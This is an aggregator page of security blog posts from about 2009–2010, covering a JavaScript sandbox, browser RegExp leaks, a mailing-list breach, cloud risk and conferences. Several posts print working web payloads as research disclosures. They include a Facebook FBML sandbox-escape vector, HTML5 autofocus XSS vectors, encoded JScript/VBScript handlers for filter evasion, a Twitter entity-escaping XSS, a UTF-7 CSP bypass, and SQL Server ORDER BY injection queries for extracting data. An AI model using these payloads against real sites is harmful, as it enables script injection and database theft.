Not logged in | Login

My Security Planet » Tags » Security

Feeds

10027 items (0 unread) in 75 feeds

WebSecurity

Security

SEO

Tools

Opensourcetesting.org News

348 items tagged "Security"

Related tags: Tools [+], Random [+], Application [+], Cloud [+], Software [+], Touchpoints [+], Information [+], Corporate [+], Network [+], Events [+], Enterprise [+], DataCentric [+], Conferences [+], Computing [+], AJAX [+], republica08 [+], identity [+], federated [+], Star [+], SDL [+], PHNeutral [+], OWASP [+], Deepsec [+], Data [+], Content [+], Chamber [+], Breaches [+], Bluehat [+], Awareness [+], All [+], 25C3 [+], Web [+]

The Spanner

Hackvertor and JSReg

Posted: March 11th, 2010, 10:55am CST by Gareth Heyes

Tags: Security [edit]
I’m not a developer any more so I find it difficult to update the experiments I’ve been working on but I managed today to upload the work I’ve done with JSReg and update Hackvertor. They are both integrated closely together because Hackvertor allows untrusted Javascript using JSReg.

The recent upgrade to JSReg allowed me to upload the Hackvertor changes I did a while ago, it is now very nice and easy to share code between users. At the moment registration is disabled but I plan to enable it once I’ve figured a way to stop user’s overloading the tag list.

You can see how the integrated JSReg parser works by visiting Public Hackvertor this will eventually replace the original one now online. There are only a limited set of tags as I’ve not had time to code them all but we have a couple of users on there that might start adding code if they haven’t forgotten their password =)

I found the untrusted Javascript feature difficult to code as sharing each tag inside a tag for example would require some tricky Javascript but I think I’ve managed to pull it off. I’ll document the JSReg stuff here and how Hackvertor allows tag objects inside tags.
Playing nice with JSReg
In order to use the parser effectively we need to be able to inject our own objects into the sandboxed environment without compromising the security of the sandbox. To do this JSReg supports some extension functions which allows you to inject a object directly. The following code sample shows you how to do it:-
```
parser.extendWindow('$tags$',(function(tags) {
  return function(obj, callback) {
                var code = obj.$code$;
                var tag = obj.$tag$;
                var param1 = obj.$param1$;
                var param2 = obj.$param2$;
                var param3 = obj.$param3$;
        if(!tags.hasOwnProperty(tag)) {
                return null;
                                                        }
return tags[tag].execTag(code,callback,[param1,param2,param3]);
}
})(window.Hackvertor.tags)
);
```
So here the “parser” is the JSReg parser, we use the extendWindow function to place a “$tags$” object within the sandbox. Notice the $ prefix and suffix, this is how JSReg protects objects/properties. We use a closure to send a Hackvertor Tag object to the sandbox which passes it a function that accepts a tag object and a callback. Hackvertor now uses callbacks for each tag, this allows conversions to be run in sequence without waiting for each function to return the output.

A simplified version of this can be seen below, this time we assign a value from a dom object outside of the sandbox to a reference inside the sandbox.
```
parser.extendWindow('$code$',document.getElementById('input').value);
```
The new Hackvertor
All tags are now user definable! Each tag can have up to three parameters, provide some help text and call existing tags from inside the sandbox To create a tag you simply have to return some output, inside a tag it has some special variables that are automatically assigned when a tag is called. The special variables are listed below:-
```
code, params, tags
```
The code refers to the original text passed to your tag, this could be plaintext or some text that has been transformed by a previous tag. The params is a simple numeric indexed array which refers to any params supplied by the user so for instance if you tag supports 1 param, you can refer to it inside your tag as param[0]. Tags contains the Hackvertor tag reference mentioned previously and allows you to call existing tags without having to write the same code over and over. I will show below how you to call the base64 tag that currently exists in the Hackvertor tag space.
```
tags({code:'abc',tag:'base64',param1:'encode',param2:'',param3:''},function(result) {alert(result);})
```
So this will call the tags function defined by extending the sandbox, it accepts a object and callback as it’s arguments. I send a string ‘abc’ and use the tag ‘base64′ I supply one param ‘encode’ and then use the callback to get the result of the conversion.
My RegExp is still leaking

Posted: March 4th, 2010, 5:10am CST by Gareth Heyes

Tags: Security [edit]
The great thing about standards is that sometimes they are blindly followed and it’s not until maybe years down the line that you realise they got it wrong. Personally I think standards should be organically developed in code then defined in a standard once the various flaws have been ironed out. Every standard should use code samples for every single thing they define, this way it is quite easy to spot the intention and how to abuse it.

You could argue this is already done but I disagree, we should have standard prototypes with testing code for each then we can use the code samples and the specification. The W3 decided to release a security list which is a fantastic idea but why did we take so long?

Anyway things are changing and that is cool but onto my RegExp I think. Why the standards rant? Well the RegExp object was defined in the specification as a global object that can access the last result among other things of a regular expression literal. I have no idea why, the same result could be achieved using a reference to the regular expression like so:-
```
a=/a/;
a.test('a');
a.lastMatch;// This doesn't work
//RegExp.lastMatch this does work but shouldn't
```
So as you can see we can access the result of a expression even without reference to the variable. This is bad when we start mixing untrusted javascript in the future as we don’t want to expose other matches to different untrusted code. What new I hear you say? I posted about this before…well don’t you know that some browsers had the crazy idea of supporting regular expressions as a function, yeah true for some crazy reason rather than a regular expression being a regexp object it is a function! I would like for example the following code to return my user agent string please:-
```
javascript:alert(/.+/());
```
I’m not a crazy man honest Lets visit mmm apples and lets use Safari and type the string above in the url bar. What do we get? The user agent! If you look at the source code of the page, you’ll find that they use a external javascript file which runs a regexp match on the user agent because this is the lastMatch and we didn’t provide a string to the regexp in the function arguments it decides to return the lastMatch instead of the input we provide. Nice.

This works on Google Chrome too, you might get different results with Firefox if you have noscript installed because it runs RegExp matches on parts of the page.
The safety net

Posted: February 4th, 2010, 5:47am CST by Gareth Heyes

Tags: Security [edit]
I was thinking about how to prevent a user being exploited lately by whatever method. One thing most attacks have in common is that a user generally needs to initiate the attack by clicking on a email or web site link from a social network. There’s a obvious pattern here. Granted some attacks are conducted on the application itself an XSS worm or network worm for example but these aren’t as common as the majority of attacks that require some form of initiation.

My solution? The safety net! When your average joe clicks on a link from twitter, they usually want to watch a funny video or something. Using this to it’s advantage the safety net detects when this happens, it is aware of the context of a email for example or that this particular social network is quite popular. When a user clicks a link from that context the browser doesn’t need to send any cookie related information from anywhere whilst in the “Safety net”.

It acts as a sandbox for the user protecting them from bad stuff, the user should be aware that they’re in it and should not be able to browse like normal unless they open a new window in the traditional means. It could also work for phishing, prompting the user not to enter any confidential information or maybe disabling form input completely except for whitelisted sources. Corporations could configure their safety net to be more restrictive, a policy for disabling javascript for example or maybe only allowing Flash to play video and not execute actionscript.

If anyone thinks this idea isn’t too crazy and decides to implement it here are a couple of suggestions I’ll refer to the Safety net as SN:-

1. Whilst in the SN any executed javascript or other code should always remain in the SN.
2. New windows or frames should not be allowed in the SN.
3. The browser should look different in the SN to inform the user that they are in a more restrictive browsing experience.
4. Closing the SN should be the only way out of it and the user must be clear that is what is happening.
5. Form input could be restricted in the SN.
6. Session data or cookies should not be transferred from/to the SN.
7. ANY form of download should not be permitted in the SN.
8. Third party plugins should only be allowed in restricted mode for example a PDF file should have a restricted mode which many features are disabled like javascript. Only if this mode is enabled would the PDF be allowed to execute.
9. Full screen mode should be prevented.
10. In the SN it is equivalent of opening the browser for the first time.

Additionally I suggest a meta tag to identify social networks:-
```
<meta name="identify" content="Social Network" />
```

Dominic White's .tHE pRODUCT

Breach at iContact exposes my (and your) details to Spammers

Posted: February 2nd, 2010, 12:25am CST

Tags: Security [edit]

This week something special happened, something I'd been saving for the right person, something magical. Today, hackers took my private data. Everything's changed, I feel like a part of the world, connected to so many other people who have shared in this experience. Today, I'm a woman! (Ok, I may have gone a bit far with that last bit)

The skinny is that I use unique e-mail addresses for each service provider that I want to continue communicating with (for the ones I don't I use one-shot addresses). I noticed on the weekend that I was being deluged with pharmaceutical spam to three of these addresses, namely my Threadsy, Numbuzz & Share-it (via a product I bought there, ChatterBlocker) contacts. This lead me to tweet: "Either a security or ethics breach at @threadsy & @nimbuzz Getting Viagra spammed hard on the unique e-mail addresses I gave them."

Chatterblocker got back to me with the equivalent of "What? Wasn't me." Scott Kendall from Threadsy jumped into an investigation however and contacted me for more details. He also passed on results of his investigation to Nimbuzz, much kudos. Scott then informed me this morning that there has been a breach at iContact, evidently a shared service provider to the affected entities, resulting in the theft of customer contact details that must have been sold to spammers (or by a horizontally integrated crime crew). We're assured by iContact that only our e-mail addresses were stolen. However, we're not given any reason to believe that; unless the data is segmented somehow I don't see why an attacker wouldn't take the whole caboodle.

What concerns me is first that I wasn't even aware I had a relationship with iContact. A quick look of the websites of Threadsy and Nimbuzz don't make reference to them apart from the generic "we may share your data with business relevant third parties" in the privacy policy. Even if it is made explicit in the privacy policy, it doesn't mean you understand it, take this Facebook friendlist leak for example. Maybe if we had a "nutritional label for privacy" with disclosure of who the third parties were I would feel more in control of my data and more importantly the decisions I make.

Second, I'm not aware what data of mine had been given to iContact and what could potentially be at risk. Was it just my contact details, or did it include behavioural data too? Even if I can't do anything about it, I'd like to know what was breached with some solid factual basis. More importantly, I'd like to see what is shared with the third-party up front. I believe the small externality of writing that down in human readable and explicit form may encourage service providers to limit it.

Third, this was a consumer-lead breach-discovery. People with custom e-mail addresses tracked the source and informed iContact they had a breach. We see the same thing with credit card breaches, and with the likes of Google notifying other companies that the APT (do I get points for using it?) got them too. Is it any wonder those are the breaches we see frequently reported. IT shops usually aren't aware they've been breached until an affected third party tells them.

In conclusion, if you're getting spammed hard with pharmaceutical spam, this is probably why. There's nothing you can do about it, and there's probably a near infinite number of variations of your private (by which I mean data you don't want publicly exposed) data floating around at service providers you know nothing about that doesn't have the same canary-in-a-mine like properties that can make you (and hence the service provider) aware of the breach. Good luck.

The Spanner

Facebook sandbox escape

Posted: January 29th, 2010, 4:09am CST by Gareth Heyes

Tags: Security [edit]
My friend mario (he who never blogs) found XSS in facebook a couple of times. This tempted me to look at their sandbox, I didn’t register for an account but just tried breaking their FBML console.

They have their own FBML (Facebook markup language) which is just a basic HTML/CSS and a separate Javascript sandbox which restricts what you can execute and access by scoping everything to the app ID. I didn’t need to break their Javascript sandbox as breaking the FBML would allow me to execute any code and accessing the document source etc.

I thought the best way to beat the sandbox would be through css expressions as they use the IE7 compat header. I tested their console a couple of times and in 10 minutes found that they fail to parse CSS comments correctly. Next followed incorrect html encoded quotes, so I had the right tools to break out of there but I need to execute Javascript. They allowed stuff like xpression() but I tried double encoding expression in various ways but they seemed to catch it ok. Then I checked their charset which I presumed they use UTF-8 which they do I used my old trick of placing a UTF-8 BOM character before the “e” in expression and boom I had a bypass. The first one didn’t work because the quote was in the wrong place but I knew a little modification it would work and the final vector is below:-
```
<div style=background-image:url('http://&quot;);xss/**/:&#65279expression(alert(1));+&quot;')!important;></div>
```
Note the &#65278 needed to be the actual character in order to break the sandbox but the vector should execute as is anyway and it was easier to see this way. The !important part isn’t required but I just thought I’d assign priority The vector has now been fixed by Facebook.

Facebook vector

Justice League

Cloud Risks When You Become A Service Provider

Posted: January 18th, 2010, 12:45pm CST by scott

Tags: Software Security Cloud Computing Cloud [edit]

The European Network and Information Security Agency (ENISA) published their analysis of security risks from cloud computing. It’s a well thought through paper and it complements the work on cloud security guidance being written by the Cloud Security Alliance. What I like about both the ENISA report and the CSA Guidance (I’m an author of one of the sections and, yes, I like my eating my own cooking) is that both documents take the point of view that Cloud Computing is going to happen and that security is going to have to deal with it.

There are certainly security risk for applications migrating to the cloud. These risks involve both security concerns such as the confidentiality of the information stored in cloud services as well the legal implications concerning the liabilty if a system is unavailable. This focus of cloud computing risks on the consumers of cloud services by both of these organizations seems justified. After all, how many companies are going to be cloud service provides?

Well, that’s what I thought.

Now, I’m thinking that if Cloud Computing really catches on (beyond everyone writing about it and attaching the word “Cloud” to any product or service that’s connected to a network) then I suspect that most “consumers” of Cloud Computing will want to be service providers too.

What caused this change in thinking was the article I read about how Larry Ellison “created” the network computer back in the 90s. The network computer really is what we call Cloud Computing today. Combine that with how SOAs evolve within an enterprise. They start as disparate web services, but then eventually the business units provide services that are their key data to the organization. With Cloud Computing it will be your business (not just your business unit) providing services (data) to other businesses.

The question is how you’re going to do that. I suspect that youll be exposing some kind of PaaS environment that your partners will write application-lettes in. These application-lettes are going to be doing the combining of data from your two systems. On which PaaS the application-lette runs is going to depend on which the amount and sensitivity of the data.

AI had a second coming in the 80s, aren’t we ready for a second coming of “The Internet is the Computer” in the 10s?

Technorati Tags: software security, cloud computing
Top Ten Web Hacking Techniques of 2009

Posted: January 14th, 2010, 4:06pm CST by Guest

Tags: Software Security [edit]
This is a guest post by Cigital consultant Romain Gaucher.

Every year since 2006, Jeremiah Grossman has organized a contest to recognize the Top Ten Hacking Techniques of the year. This year, I had the privilege of being one of the security professionals asked to judge along with Rich Mogull, Dinis Cruz, Chris Hoff, HD Moore, Billy Rios, Dan Kaminsky, Steven Christey, Jeff Forristal, and Michal Zalewski.

The scoring process was intentionally simple: given the list of 82 hacking techniques or selected exploits, we each nominated our top 15, in order. Appearing in a judge’s number one position would score the technique 15 points. Being ranked as a judge’s number two scored 14 points and so on. The techniques which received the most total points from all judges became the top ten.

Judges were given broad latitude in making their selections, but candidate techniques were judged primarily on pervasiveness, impact, novelty and coolness. I know a few judges who used a more formal evaluation methodologies than I did, rating each candidate individually and then sorting them. I didn’t.

Since I was already familiar with many of the candidate techniques listed, I didn’t have to go through them again and I was able to focus on the techniques I didn’t have time to follow or to dive into during the year.

After a few hours, I had a reasonable knowledge about of all the candidates. In order to get a more manageable list of candidates, I decided to do a first pass and create a list of techniques that I believed must be in a top 15. I came up with a list of about 30 finalists.
With this smaller list, I went back to the papers and blog posts to rate the techniques. I decided to combine some of the factors that Jeremiah sent us to simplify my evaluation and because I thought it suited correctly the goal of this contest. I used the Risk and the Originality of the techniques to rate them:
- Risk: pervasiveness and impact
- Originality: novelty and coolness
I considered those two factors to have the same weight. Even if in my daily job the risk represents the most important part of the evaluation, for the contest, the originality is a very important part.

The list of top ten winners can be found in Jeremiah’s blog post. Some of the candidate techniques were de facto winners because they would have such an impact and coolness. This is especially true for the research from Alexander Sotirov et al. on the Rogue CA certificate: totally elite. I’m sure most of the readers will remember the buzz of this attack last year at the 25c3 (Chaos Communication Congress). They started by teasing everyone and then, explained how, with a cluster of 200 PlayStation3, they were able to create a rogue certificate: way to go for a perfect man-in-the-middle or phishing attack!

With a different scoring vector (lower originality, but higher risk due to high likelihood than #1), we have our number two, the research from Luca Carettoni and Stefano Di Paola which is a the newly-named HTTP parameter pollution (HPP). This attack exploits HTTP request parameters (query string, POST variables, etc.) parsing discrepancies between different layers of the application (input/output handling, encoding issues) or server-side application stack (front-end/back-end, WAF, etc.). Even if this attack doesn’t look über-cool, it can facilitate a lot other type of injection-based attacks (XSS, SQLi, etc.) by, for example, hiding the payload from one of the defense layer (WAF for example).

I am a bit disappointed not to see any PDF related attacks in the final list (yes, it was in my top 15), because it was such a big deal in 2009. Most of those attacks come from the JavaScript support. For example, the PDF Silent HTTP Form Repurposing Attacks paper explains how an attacker can create a malicious PDF file executing JavaScript in the same domain. This is a great follow-on work to what Didier Stevens and others did on the PDF format. Some others techniques from my list didn’t make the final top ten such as the Socket Capable Browser Plugins Results in Transparent Proxy Abuse from Robert Auger. I find them both very interesting in reflecting discrepancies between server-side application stack and new client-side attack surfaces.

But anyway, this was a great year with many different attacks, some new, some really elite, others are improvements of already known techniques. Attacks are targeting different flavors of web security: cryptography, protocol design and abuse and software misbehavior. Research into techniques like these allows us to better understand the security problems we face right now and catalyzes joint work between vendors and the security community.

Finally, I’d like to congratulate my Cigital colleague, David Lindsay who, along with Eduardo Vela, came in at number 8 with cross-site scripting research that yielded surprising and sophisticated ways to evade filters and web application firewall (WAF) rules.

Dominic White's .tHE pRODUCT

Brain Krebs Leaves The Washington Post

Posted: December 30th, 2009, 12:48am CST

Tags: Security [edit]

Brian Krebs, author of SecurityFix and one of the very few mainstream infosec journalists, is pulling a McLeodd¹ and leaving the Washington Post to go on his own. He will be reporting from Krebs on Security from today.

Apart from the coverage, Brian has also got involved in or instigated responses to some threats, and I hope that fewer editorial restrictions allow him to do and say more.

In truth, I only really like Brian because he's linked, to me before, encouraging up to 1.5 people to read the abstract on my thesis ;), but more seriously providing data and inspiration to me and several other researchers.

Good luck Brian
Footnote 1: I probably shouldn't mix my ZA and Infosec references, but Duncan McLeodd left the Financial Mail to form independent tech news startup TechCentral.
"Up to Date" isn't the same as "Knowledgeable"

Posted: December 13th, 2009, 11:39pm CST

Tags: Security [edit]

Eugene Spafford has a warning for us in his latest entry that I thought worth remembering:

Generally, hackers who specialize in the latest attacks dismiss anyone not versed in their tools as ignorant, so I have heard this kind of criticism before. It is still the case that the "elite" hackers who specialize in the latest penetration tools think that they are the most informed about all things security. Sadly, some decision-makers believe this too, much to their later regret, usually because they depend on penetration analysis as their primary security mechanism.

In many ways, I worry that mechanisms like RSS & twitter and the associated behaviour help us to be up to date, but not knowledgeable, and that the implied arrogance of being up to date stops us from realising it.

The Spanner

HTML5 new XSS vectors

Posted: December 6th, 2009, 6:04am CST by Gareth Heyes

Tags: Security [edit]
So I posted some new XSS vectors on twitter and I thought I’d share them on the blog in case anyone missed them. Safari, Chrome and Opera all support these now We have a brand new way of auto executing XSS.

Normally when you find a XSS hole within a input element that has filtered < and > you can’t exploit it automatically without using CSS expressions. The injection looks something like:-
```
<input type="text" USER_INPUT>
```
Here you can do style=xss:expression(alert(1)) or moz-binding etc. but it only works on a limited number of browsers. HTML5 however lets us execute like expressions but without css styles. For example:-
```
<input type="text" AUTOFOCUS onfocus=alert(1)>
```
We use the “autofocus” feature to focus our element and then the onfocus event to execute our XSS. This works with a plethora (I like that word) of tags. Any form based element it seems you can use this method:-
```
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
```

Dominic White's .tHE pRODUCT

Efficient extraction of data using binary search and ordering information

Posted: December 1st, 2009, 12:50am CST

Tags: Security [edit]
I'm quite excited and honoured to host a guest entry from Yusuf Moosa Motara covering his talk at ZaCon (a video of which can be found here, and the slides here).

Caveat
I make no claims about the novelty of this technique. For all I know, it's been widely known for some time, but I could find no record of it. The target server is SQL Server in this text, but the technique is applicable to other implementations. If nobody else bothers to claim it, I hereby name the technique after myself: nothing impresses random chicks quite as much as having an obscure and totally-irrelevant-to-their-lives technique named after oneself, after all.

On second thought -- call it whatever you want to ;).
Background
Some injection points are worse candidates than others. A difficult injection point is found in the ORDER BY clause of a SQL statement, since there can be no further statement after an ORDER BY and our only real "in" is the ability to put in expressions, though those expressions may do nothing more than change the resulting order. Such a change of ordering does provide us with a 1-bit channel to slip data along. We could do so a simple manner:
```
[...] ORDER BY case when (select top 1 substring(username,1,1) from
users)=<91>a<92> then ID else Address end
```
... but a quick examination will tell us that the time taken to extract data with this technique is around 0.5*/n/*/m/, where /n/ is the length of the data, and /m/ is the size of the alphabet, assuming that (on average) the correct character is found after half the search-space has been traversed. Reordering the character test order in accordance with the frequencies that we expect to find in the text can yield better results, but not results that are significantly better.
A better way
We can do more than directly compare letters: we can get ordering information out. This allows us to use a binary search algorithm to find the correct text efficiently. In other words, we can use a query similar to:
```
[...] ORDER BY case when (select top 1 cast(username as varbinary(255)) from
users where username not in ('')) __OP__ cast('__CANDIDATE__' as varbinary(255))
then ID else Address end
```
The subselect provides us with a way to get the first row of data. After getting the column data for that row, we can modify the "not in" clause to include the retrieved data, thus shifting us to the next row. __OP__ is either ">" or "<", depending on whether we would like to search the upper or lower space. __CANDIDATE__ is the string that we are comparing against.

Obtaining __CANDIDATE__ is a simple enough matter of converting text to a number that reflect the ordering of the text. Unfortunately, SQL makes things difficult by supporting concepts like collation; therefore, the lexicographic ordering of the text in your language may not align with the ordering of the text in SQL. We can solve this problem by using the same injection point and asking the SQL server to order our alphabet for us. For a ~90-character alphabet, this takes ~300 queries. We will make up for this setup cost within the first two or three records.

SQL Server doesn't play well with strings. If there are trailing spaces, they aren't counted towards the string length; if there are apostrophes, comparisons become more interesting (for example, "mooo" < "moo''a", but "mooo" > "moo''z" [ed: note single and double apostrophes look similar in that example]). To get around both of these (and a few other string-related idiocies), we cast to binary and compare as byte-sequences.

A binary search searches a range, and we should set our initial range. A lower bound of 0 will do, and the upper bound should be set to the largest /n/-valued sequence, where /n/ is the length of the string to be retrieved, as determined by a preliminary length-seeking binary search using the same injection point.

The alphabet used must cover all of the possible letters. Failure to do this will cause the binary search to fail; more importantly, it will make it difficult to proceed to the next record unless one can identify that record by ROWID or some other method.
Web-specific Complications
Certain sequences, such as "e<zmo~~" or "Lor,w&#$Jo" get detected, incorrectly, by WAFs as being XSS vectors. This illustrates the stupidity of blacklist-based security precautions. The only workaround I can think of at present is to remove the "<" and "&"/"#" characters from the alphabet, and ensure that we skip past sequences that contain such things by modifying our SQL injection query.

As the number of retrieved items grows, the length of the query grows as well. Therefore, this technique is of limited use when faced with a GET injection. A solution to this might be to use adaptive queries: when the strings "Alice", "Alison", "Albert", "Alyssa", and "Bart" have been retrieved, it might be possible to change the seen strings to "Al%" and "Bart", thus reducing the length of the query. I leave this extension as an exercise to the reader.
Pay-off
A binary search finds its target in log2(n)+1 probes, at worst. In real-world terms, this leads to an average of a 6x increase in efficiency (and hence speed) for pulling out data, as compared to the simplistic method of exploiting the ordering side-channel: basically, the difference between waiting 10 minutes for a long text blob or 1 hour for the same blob.
Notes
Though we apply the technique to free-form text extraction here, it would be trivial to apply it to the extraction of GUIDs, or numeric data. Numeric data extraction would be a particularly interesting exercise, since a binary search works by continually narrowing the search-space. It might be sufficient to get a "ballpark" figure in some cases, and thus obtain better than O(log2(n)) efficiency.

I have created a small proof-of-concept, consisting of a toy ASP.Net application that is susceptible to injection, a SQL Server database, and the extraction tool coded in Python3. If the code differs from the explanatory text (which is the text that you are reading right now, of course!), please place your trust in the code.
Further work
There are a number of optimisations that could be done to the existing proof-of-concept. More importantly, the idea of using remote comparison functions to efficiently draw out previously-inaccessible data via binary search is an intriguing one, and one which deserves more attention. Andrew MacPherson has pointed out to me that a similar technique is used by the Metasploit framework when trying to determine the EIP in some cases, and I am grateful for the knowledge; I am sure that there are even more applications for the idea just waiting to be found!

Justice League

Wait, my mom’s driving innovation–not me?

Posted: November 23rd, 2009, 9:28am CST by jOHN

Tags: Software Security [edit]

A short one ‘real quick’:

I get simultaneously nostalgic and aspirational as holidays and year-end planning bear down on me. Wondering how to innovate and how to get that innovation into use takes a fair amount of my attention. I wrote a blog post in ‘07 on how to get some of that innovation stuff in your own security group.

McGraw collaborated with Routh recently on an article (“Lifestyle Hackers”) for CSO Online. While the article focuses on what a CSO must do to more intelligently deal with social-media savvy employees, it also elucidates what we all know implicitly: consumers and those building sites to cater to them directly are driving innovation faster than the big guys (who used to do the bulk of this driving out of their research labs) are.

This was driven home by a recent “Daily Chart” from the Economist. Microsoft is #2 in spend. I might argue we’ve gotten a lot of value as an industry out of their security initiative too. CAS has always seemed dead-on-arrival to me but, I don’t see progress as a result of research that’s taking us in a fundamentally different direction in Software Security (look at their stated areas of interest for both “Security and Privacy” and “Software Development”). IBM made the list too, but is last (see my last post, in which I discuss my impression of how quickly IBM will adopt innovations like O2).

Other than IBM and Microsoft, you’ll not find software companies on the chart at all. And, while communities might bring together experts and provide progress, I fear it will be all-too incremental. Security is plainly in the hands of consumers. Yet, as the bevy of Facebook security/privacy concerns indicate, their demands too leave us well short of the goal line.

The Spanner

Ping pong obfuscation

Posted: November 23rd, 2009, 7:45am CST by Gareth Heyes

Tags: Security [edit]
This is a fun post about a feature I found in IE that allows you to do some crazy obfuscation. I’ll start off with some simple examples:-
```
<img src=1 language=vbs onerror=msgbox+1>
<img src=1 language=vbscript onerror=msgbox+1>
<img src=1 onerror=vbs:msgbox+1>
```
So here we’re not obfuscating but I’m showing how IE accepts the language attribute and a labelled vbs statement to change the event to allow vbscript instead of javascript. Ok so lets play a little ping pong:-
```
execScript("MsgBox 1","vbscript"); //executes vbs from js
execScript('execScript "alert(1)","javascript"',"vbscript");
```
Look how we can call vbscript from javascript by using execScript and then look how we can execute from javascript to vbscript and then back to javascript again! So now we’re playing some ping pong but how can we make our little game hidden?
```
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a>
```
Wait what? Yeah IE supports jscript.encode within the language attribute. Remember jscript.encode? ah the old ones are the best That’s it right? Well….
```
<iframe onload=VBScript.Encode:#@~^CAAAAA==ko$K6,FoQIAAA==^#~@>
```
Yeah you can use VBScript.Encode and Javascript.Encode as labels within an event! You might be going WTF right now and I can understand it because I did exactly the same but it would be silly to finish now without finishing our game of ping pong. How many rallies shall I do? I think 3 should be enough….
```
<body onload="jscript.encode:#@~^TAAAAA==nX+^UmMkwD`r:@$?73hzb)){'Z%QRG=2&#x9;V7WB qdG\:2jbebz)'{7:=@$J~E%km.kaOc+U1W9+J*CRcAAA==^#~@">
```
Ok so I go to:-
jscript->jscript.encode->jscript.encode->jscript.encode->hex entities
Twitter misidentifying context

Posted: November 23rd, 2009, 6:55am CST by Gareth Heyes

Tags: Security [edit]
This is an important post for me, not because it’s ground breaking but people don’t seem to get this when using data in certain context. If you are a dev please read this and read it until you understand it because if you misidentify context you fail and you fail pretty badly.

I reported this to twitter about two months ago, they responded and fixed four xss holes but two remain and they didn’t contact me to test the fix.

When you are including user input inside a javascript event within a string what do you have to escape? If you answered: ‘”
You are wrong. Twitter is wrong.

Take the following example:-
```
<a href=# onclick="x= 'USERINPUT' ">test</a>
```
So you can place your input within the single quotes and there is a place on twitter that does this:-
twitterTheseResults(’ "’xss’,'/search?q=&a…

Here they are escaping " with " and ‘ with ’. But that isn’t enough! Why? Because it’s a javascript onclick event! Inside an event you have to escape entities! All of them!

Consider the following vector:-
',alert(1),'

No single quotes but ' still acts as one. Please look at this test and make sure you understand how it works:-
[tinyurl.com]

Don’t forget other entities work too ' ' &#39 &#x27 so make sure you escape all characters within a js event like so:-
```
<a href="#" onclick="x='USERINPUTx27x22x3cx3e'">test</a>
```
and Twitter PLEASE fix this and related holes c’mon it’s been two months, it’s not rocket science to fix:-
Twitter poc (don’t tweet these results)

' works on non-IE browsers but the other entities mentioned work fine on IE too.
Bypassing CSP for fun, no profit

Posted: November 23rd, 2009, 2:45am CST by Gareth Heyes

Tags: Security [edit]
I had fun at Confidence 2.0 CON, I’m gonna blog about the stuff I was holding back now

So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.

Utf-7 can be fully encoded meaning that you can conceal string characters and others. ‘ABC’ becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:-
[{'friend':'something',email:'something'} ]

If we can influence the “something” parts then we inject the feed with our data to bypass CSP:-
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

This is what the code looks like when decoded:-
[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

We then inject the data by referencing it using a script tag and a charset:-
```
"><script src="http://some.website/test.json" charset="utf-7"></script>
```
This successfully executes in CSP bypasing it’s restrictions because the code comes from the domain itself and doesn’t use in-line or attribute based XSS.

As always as demo is available here:-
CSP bypass

Dominic White's .tHE pRODUCT

ZaCon - Information Security for the Rest of Us

Posted: November 19th, 2009, 1:50am CST

Tags: Security [edit]

Update: Haroon's talk "Why ZaCon" at the con provides more of an overview. Including some aspects I didn't consider.

Our first South Africa fledgling unconference-like security conference, ZaCon, takes place this Saturday (21 Nov). Our intention was to have something which fits in the gap between corporate conferences like the ITWeb security summit and academic conferences like ISSA. The former is huge and can afford to bring over some of the big names, but also has plenty of "paid for" opinions and a sometimes less meaty content. The latter is peer-reviewed and requires more than a slide deck and a grin to present at, but also sometimes values theory over pragmatism and places a large burden on people already holding down a job.

And so ZaCon was born, a security conference both "for security geeks by security geeks" and open to new entrants to the industry. It's on a Saturday, on purpose, you don't get a free day off work. It's also non-aligned, giving speakers the freedom to say what they want, how they want, and also preventing us from having to push agendas in return for money, or people attending so they can be seen in the right places.

None of this is a middle finger to ITWeb, ISSA, vendors, security companies etc. It serves to outline what we felt was a need, and how we plan on meeting it. We will continue to contribute and support the other conferences, and most of us work for security companies anyway.

The CFP had a great response, we've managed to secure a killer venue (directions) thanks to the University of Johannesburg and their Academy for Information Technology, we're getting more coverage than we deserve from DiscussIT, should have full video/audio+slides to distribute afterwards and even have free wifi courtesy of IS AlwaysOn Hotspots.

All in all, apart from the expected teething problems, I'm expecting an awesome day of security geekery. If that interests you, then details are available at the site. Please remember to RSVP to rsvp-@-zacon-org-za if you'll be attending. If you can't make it, follow the zacon09 twitter feed (or #zacon hashtag) for coverage and I'll see if I can get a liveblog or two in. We're hoping to publish full Defcon-style video of each talk too.

Justice League

Machinations Over O2

Posted: November 17th, 2009, 12:25pm CST by jOHN

Tags: Software Security [edit]

As I drove Dinis to the final day of AppSecDC he (as often is the case) had his laptop open. We traded ideas regarding the future of O2, support, and other broader issues about the future of software security. As we discussed or machinated over word choice, I found myself in near-complete agreement with him: not an unusual circumstance.

In his post RSnake muses:

I’ll be curious to see if any big companies step up to the plate here and takes ownership. It’s a bit unclear about Dinis’ fate within IBM – I think he’s a bit on the fence.

I characterize O2 as a platform that facilitates a highly-experienced or expert-reviewer in understanding software. While Dinis has taken a few runs at automation and work-flow support (before with his WCF stuff and now with his XRules) I think the principal benefit of his current state of development remains unshackling the reviewer from limitations of a SA tool often in terms of data-flow across language boundaries and through framework / generated code. So important is this concept to myself and Cigital that we’ve built our own framework which we call ‘The Factory‘. We use it for a similar purpose as one might use O2. As Dinis consistently reminds me though it is not open source. And, yes, there’s a lot of other wicked-cool stuff in O2 (the Visual Studio debugger integration is my favorite).

Cigital believes in O2 enough that we’ve conducted hands-on O2 training with a bunch of our guys even after Ounce training. I personally believe in the technical value to code reviewers of O2 enough that I put a modicum of code towards it when Dinis needed it in a pinch. I’ve also agreed to build and publish O2 training for the masses; ‘training that makes it seem less scary.

Taking a step back for a second, there’s a large leap between where the world is and the world Dinis describes in his recent blog post. Unfortunately, I see a lot of organizations doing software assessment driven by (and in pursuit of) compliance only.

